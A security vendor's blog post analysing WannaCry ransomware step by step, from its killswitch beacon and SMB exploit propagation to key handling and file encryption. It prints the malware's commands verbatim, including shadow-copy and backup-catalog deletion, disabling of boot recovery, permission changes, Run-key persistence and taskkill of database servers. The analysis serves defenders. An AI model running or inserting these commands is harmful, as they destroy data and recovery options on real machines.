WCry/WanaCry ransomware technical analysis
Editor’s Note: Elastic joined forces with Endgame in October 2019, and has migrated some of the Endgame blog content to elastic.co. See Elastic Security to learn more about our integrated security solutions.
As we discussed Friday when this outbreak began, the WCry or WanaCrypt0r ransomware spread quickly across Europe and Asia, impacting almost 100 countries and disrupting or closing 45 hospitals in the UK. As the ransomware continued to propagate, I got my hands on a sample and quickly began analyzing the malware. This post will walk through my findings and provide a technical overview of the strain of WCry ransomware which caused the massive impact on Friday. Many have done great work analyzing this malware in action and helping contain its spread, and I hope my comprehensive static analysis will provide a good overall picture of this particular ransomware variant on top of that.
The Note
With estimates over 100,000 computers impacted globally thus far, many people received unwelcome notes Friday similar to those below demanding a fee to decrypt their files. Notes like these are unfortunately all too common and typical of today’s ransomware. While the notes promise to return the data, it’s not guaranteed that paying the ransom will return data safe and sound, but if it gets this far and adequate backups are not in place, it may be the only recourse the victim has. No one ever wants to see one of these.
Where to Begin?
There has been a lot of discussion about the method of propagation and the overall impact of this ransomware, but what does this ransomware actually do from start to finish? That is the question I’ll answer in this post.
To begin, we accessed the malware by grabbing it (SHA256 24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c/MD5 Db349b97c37d22f5ea1d1841e3c89eb4 ) from VirusTotal. See the appendix for a summary of the files dropped with the malware.
Dropper Malware Details
MD5: Db349b97c37d22f5ea1d1841e3c89eb4
Dropped EXE Details
MD5: 84c82835a5d21bbcf75a61706d8ab549
The WCry Execution Flow
The WCry ransomware follows a flow similar to that of other ransomware as it damages a machine. The high level flow is as follows: It begins with an initial beacon, other researchers have already reported is basically a killswitch function. If it makes it past that step, then it looks to exploit the ETERNALBLUE/MS17-010 vulnerability and propagate to other hosts. WCry then goes to work doing damage to the system, first laying the foundations for doing the damage and getting paid for recovery, and once that’s done, WCry starts encrypting files on the system. See the diagram below for an overview of how this malware works. I’ll walk through each of these steps in more detail below.
As the graphic illustrates, the malware inflicts damage by executing a series of tasks. I’ll walk through each of these tasks, which are numbered below. Each first level of the outline corresponds to that step in the execution flow graphic.
INITIAL INFECTION AND PROPAGATION
- Beacon to hxxp://www[.]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com. Successful connection will cause the malware to quit. Note that other researchers have reported seeing strains since Friday which have an alternate killswitch URL.
- Run the resource Exe as a new service
- If Command line args as “-m security”
- OpenSCmanager
- Create a new service called "Microsoft Security Center (2.0) Service”; “mssecsvc2.0"as mssecsvc.exe
- StartService
- Load Resource “tasksche.exe”
- Save as C:\\WINDOWS\\tasksche.exe
- Move C:\\WINDOWS\\tasksche.exe to C:\\WINDOWS\\qeriuwjhrf
- Else Propagate via SMB ETERNAL BLUE / DOUBLE PULSAR Exploit
- OpenSCManager
- Access service “mssecsvc2.0"
- Change Service Config
- Start Service Crtl Dispatcher (Run SMB Exploit)
- Run thread containing the Payload transfer
- GetAdaptersInfo to get IPs
- New thread to propagate the payload
- Get TCP Socket for Port 445 (Server Message Block/SMB)
- Connect to SMB Socket and get SMB tree_id
- SMB_COM_NEGOTIATE
- Get Tree: ipc_share = "\\\\#{ip}\\IPC$” and SMB_COM_TREE_CONNECT_ANDX
- SMB_COM_TRANSACTION
Example Pseudocode: The screenshot above is from the Metasploit Framework's implementation created after the Shadow Broker's leaks and recent weaponized exploit fromRiskSense-Ops - Run smb ms17-010 Exploit function
- do_smb_ms17_010_probe(tree_id)
- Setup SMB_TRANS_PKT
- If vulnerable, do_smb_doublepulsar_probe(tree_id)
- Prepare Base64 Payload in Memory
- Setup SMBv1 Echo Packet
- make_smb_trans2_doublepulsar
- Setup SMB_TRANS2_PKT (See Appendix)
- if code == 0x51: Successful payload
- Execute Payload Shellcode (See Appendix)
If code == 0x51 - successful payload!!! - do_smb_ms17_010_probe(tree_id)
Setting up the payload Payload Delivery
- After Service execution
- Gets the computer name
- Randomizes string
- Get command line args and Checks for switch “/i”
- If Command line args as “-m security”
PREPARATION FOR RANSOMWARE ACTIVITY
- Extract Zip and Prep Tor and Bitcoin Info:
- Extract resource zip file XIA with hardcoded password “WNcry@2ol7”
- Get c.wnry, which includes the Tor configuration used by the malware used by the malware
- Extract the configuration from c.wnry to get the Tor browser and onion sites to be used for communication and onion sites to be used for communication:
- gx7ekbenv2riucmf.onion;
- 57g7spgrzlojinas.onion;
- xxlvbrloxvriy2c5.onion;
- 76jdd2ir2embyv47.onion;
- cwwnhwhlz52maqm7.onion;
- hxxps://dist[.]torproject[.]org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
- Load Bitcoin wallets which have been previously set up by the attackers for payment for file restoration and update c.wnry
- "13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94"
- "12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw"
- "115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn"
- Hide Extract Zip Directory and Modify Security Descriptors
- Create process: Runs command to hide current directory: "attrib +h . "
- Runs command: icacls . /grant Everyone:F /T /C /Q. This grants all users full access to files in the current directory and all directories below.
- Prep Encryption Public Key, AES Key, Decrypt the DLL
- Load exports with getprocaddress: CreateFileW, WriteFile, ReadFile, MoveFileW, MoveFileExW, DeleteFileW, CloseHandle
- Set up Encryption Keys
- SetUp Cypto function exports: CryptGenKey, CryptDecrypt, CryptEncrypt, CryptDestroyKey, CryptImportKey, CryptAcquireContextA
- Get RSA_AES Cryptographic Provider
- CryptImportKey import the hard coded public key
- BOOL WINAPI CryptImportKey(
- _In_ HCRYPTPROV hProv,
- _In_ BYTE *pbData,
- _In_ DWORD dwDataLen, 1172B 2048 bit RSA key (See Appendix)
- _In_ HCRYPTKEY hPubKey,
- _In_ DWORD dwFlags,
- _Out_ HCRYPTKEY *phKey
- Parse t.wnry to get AES key used to decrypt the DLL key used to decrypt the DLL
- WANACRY! Length 8
- Read Length 100h = Encrypted AES Key
- Read 4h = 04 00 00 00
- Read 8h DLL Length = 00 00 01 00 00 00 00 00
- Decrypt Encrypted AES Key with Public Key
- Read encrypted DLL length 1000h
- Decrypt DLL with custom AES-128-CBC algorithm with 16B AES Key (See Appendix)
- Get Native System Info and GetProcessHeap
- Put EncryptedData In Heap Location
- Change the protection of that memory location.
Encrypted DLL Details 96de5f0587f7201b9f5f16ba2e374f80 Spoofed information the decrypted DLL’s VERSIONINFO resource
- Run DLL Export at function TaskStart
- Creates Encryption Keys to be used by the user file encryption routine
- Create Encryption Key by Encrypting the user’’s private key with the ransomware public key and stored in “%08X.eky” (See Appendix)
- Also tries to access “%08X.dky” for the received Decryption key
- Creates Mutex for all threads: Global\\MsWinZonesCacheCounterMutexW
- Other researchers have noted that if this mutex is present, the malware will not start, offering another way to defend against this malware.
- Creates a new thread pointing to the setup that starts encrypting files
- Generates AES Keys to encrypt files using CryptGenKey
ENCRYPTION ROUTINE
- Creates a new thread to overwrite files on disk
- Generate a key
- Generate Data Buffers for each file
- Call thread for function StartAddress to begin writing encrypting file contents
- Tack on extension ".WNCRYT”
- Run new process taskdl.exe in a new thread
- Set Up the Decrypter Persistence:
- Read Configuration File
- Finds the location of @WanaDecryptor@.exe
- Create process "taskse.exe @WanaDecryptor@.exe”
- Set persistence key to run itself on reboot HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- CheckTokenMembership, GetComputerName Info
- Run: cmd.exe /c reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v "<rand>" /t REG_SZ /d “\"tasksche.exe\"" /f
- Looks for “f.wnry" (what this is for is not clear in my analysis)
@WanaDecryptor@.exe Details MD5: 7bf2b57f2a205768755c07f238fb32cc SPOOFED INFORMATION THE DECRYPTED DLL’S VERSIONINFO RESOURCE - RUNS: @WANADECRYPTOR@.EXE FI
- Reads config file for Tor Client
- Runs Tor Client. Note that I did not drill into the communications deeply during this analysis. It’s basically connecting to the .onion sites listed above to allow for user payment and tracking.
- Creates @WanaDecryptor@.exe persistence and backup
- Creates lnk file @WanaDecryptor@.exe.lnk via batch script
- Write to <randominteger>.bat
- Execute batch script
- Delete: del /a %%0
@echo off echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbs echo SET om = ow.CreateShortcut(“@WanaDecryptor@.exe.lnk")>> m.vbs echo om.TargetPath = "@WanaDecryptor@.exe">> m.vbs echo om.Save>> m.vbs cscript.exe //nologo m.vbs del m.vbs
- Creates Ransom Notes @Please_Read_Me@.txt from “r.wnry"
- Encrypts files, kills /database and email server-related processes if they are running
- Capture UserName
- Get Drive Type
- Runs:
- Check Free Disk Space
- Loops through files and encrypts (see appendix for the targeted extensions) and encrypts (See Appendix for the targeted extensions)
taskkill.exe /f /im Microsoft.Exchange.* taskkill.exe /f /im MSExchange* taskkill.exe /f /im sqlserver.exe taskkill.exe /f /im sqlwriter.exe taskkill.exe /f /im mysqld.exe
- Runs: @WanaDecryptor@.exe co
- Writes to .res file compiled by the time decrypted
- Writes to .res file compiled by the time decrypted
- Run Tor service: taskhsvc.exe TaskData\Tor\taskhsvc.exe
- Runs: cmd.exe /c start /b @WanaDecryptor@.exe vs
- Deletes the volume shadow copies with the command: Cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet with the command: Cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Conclusion
Despite its ability to propagate so quickly, the ransomware activities taken by this malware are not particularly interesting or novel. As I demonstrated in this malware, the killswitch in the execution flow provided a unique opportunity to slow down the ransomware. As security researcher MalwareTech discovered, and Talos described in detail, this malware was programmed to bail out upon a successful connection to that server, which stops the malware altogether. We should all thank MalwareTech for setting up the sinkhole, which caused this outbreak to slow sooner than it otherwise would have.
This malware is easy to modify. As mentioned above, other researchers are already finding variants in the wild. If you’re running Windows and haven’t patched yet, now’s the time to do it. And while you’re at it, go test your backups to build some confidence that you won’t be forced to choose between paying up or losing data should the worst happen to you or your organization.
Appendix
SUMMARY OF FILES
ZIP FILE (B576ADA...31) CONTENTS
EXTENSIONS TO ENCRYPT
.doc,.docx,.docb,.docm,.dot,.dotm,.dotx,.xls,.xlsx,.xlsm,.xlsb,.xlw,.xlt,.xlm,.xlc,.xltx,.xltm,.ppt,.pptx,.pptm,.pot,.pps,.ppsm,.ppsx,.ppam,.potx,.potm,.pst,.ost,.msg,.eml,.edb,.vsd,.vsdx,.txt,.csv,.rtf,.123,.wks,.wk1,.pdf,.dwg,.onetoc2,.snt,.hwp,.602,.sxi,.sti,.sldx,.sldm,.sldm,.vdi,.vmdk,.vmx,.gpg,.aes,.ARC,.PAQ,.bz2,.tbk,.bak,.tar,.tgz,.gz,.7z,.rar,.zip,.backup,.iso,.vcd,.jpeg,.jpg,.bmp,.png,.gif,.raw,.cgm,.tif,.tiff,.nef,.psd,.ai,.svg,.djvu,.m4u,.m3u,.mid,.wma,.flv,.3g2,.mkv,.3gp,.mp4,.mov,.avi,.asf,.mpeg,.vob,.mpg,.wmv,.fla,.swf,.wav,.mp3,.sh,.class,.jar,.java,.rb,.asp,.php,.jsp,.brd,.sch,.dch,.dip,.pl,.vb,.vbs,.ps1,.bat,.cmd,.js,.asm,.h,.pas,.cpp,.c,.cs,.suo,.sln,.ldf,.mdf,.ibd,.myi,.myd,.frm,.odb,.dbf,.db,.mdb,.accdb,.sql,.sqlitedb,.sqlite3,.asc,.lay6,.lay,.mml,.sxm,.otg,.odg,.uop,.std,.sxd,.otp,.odp,.wb2,.slk,.dif,.stc,.sxc,.ots,.ods,.3dm,.max,.3ds,.uot,.stw,.sxw,.ott,.odt,.pem,.p12,.csr,.crt,.key,.pfx,.der
PUBLIC RSA2 KEY TO DECRYPT AES KEY (CONVERTED TO BASE64 FOR DISPLAY)
BwIAAACkAABSU0EyAAgAAAEAAQBDK00rBJwK2Z8e2l/tMqnv4c4aUPQV51F77LAnVgVYtPaDybZ3W4BhGByrFNVq/TtwnRM/LiET8eev4/urbkNxJW0dUtYFXxMnniiJ9sqQkwpoxN6Cm6rCggKxGGABYxu8cY2+ZIhe1Q1swZzJATaJy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NgJrAg+n7RDAoNrPCXJZW8Y8+RV/qiIAcuClXHkGbmI1M4lWq1/x/ZNiToEePfwFaaQvURviyA6mhqK/naScs9yJs+Ow8Ndg1mzeaR7JsAKFltc1hjYWW+YF4fkL7SWA4AoExZZdNGxM8ODHt4qQPJiiepLqUekF7H08yc2qtmaz20jPfftt3QS5G5eevuFYZv3pcKz5/7YjF/3wNQxBOjiaLz8WKuipczB8OMnEfsZopHj+bQAoTjOH5bbJxT3sDpID6xWbOHO/D8F7WolR8Zdx9dXKRJ+H5901bcAfzVuTwQAO8aklyPboi8c=
AES DECRYPTED KEY FOR DECRYPTING THE DLL
BE E1 9B 98 D2 E5 B1 22 11 CE 21 1E EC B1 3D E6
EXTRACTING ENCRYPTED AES KEY AND ENCRYPTED DLL FROM T.WRNY
HARD CODED PUBLIC KEY TO ENCRYPT USER PRIVATE KEY (CONVERTED TO BASE64 FOR DISPLAY)
BgIAAACkAABSU0ExAAgAAAEAAQB1l0w7hEbeLCr0lahdwM1t2tfUkh4TgjRqcI2PfPcEklV/8aInsp5BrJCAkRiTwrF7rSvz/6/bK1G+HaMn46dXCFq+wR32BPgcvluxZ/vkyNp1AHCxF3AkbAljdKxLCh1xrn+uZbjFhnnFfp+YYExSuSliyyMp7TGRdHt7CyYb8n1nv9p6QNryYU2UpX2tWWutnqM6OcZbbp/Suza19dJl9Sww2MEXva8oAJYgRqctYgMM19B1oAsH6tQfyujZTts48iZ1yxKmiHCb4eoy3PhxclBB5heBaCdCjt/l3qFy2Tv75Z0wEWmSzWAr4tVGPCjPnTBK9625+w+R/i6+GPHO
DLL DECRYPT PRIVATE KEY (CONVERTED TO BASE64 FOR DISPLAY)
BgIAAACkAABSU0ExAAgAAAEAAQBDK00rBJwK2Z8e2l/tMqnv4c4aUPQV51F77LAnVgVYtPaDybZ3W4BhGByrFNVq/TtwnRM/LiET8eev4/urbkNxJW0dUtYFXxMnniiJ9sqQkwpoxN6Cm6rCggKxGGABYxu8cY2+ZIhe1Q1swZzJATaJyYA3jx2JZ08MsTxhCToCXbhO9YgKn4wKht+R/s2fo6AT0y0wd9HwqNerluVIljcDaWSXBlwnUIyRdmeFOmxqslkSCmHyoe6oJMjksRFt1sz3j0xesFWEgW1gRYQP/N/5J6VSyVsGKKPedAPWx3Jm3L6kHv8glu1RhADMnDZk8oVNzzZg3ciw8ZHbeguD7s/v
Other Files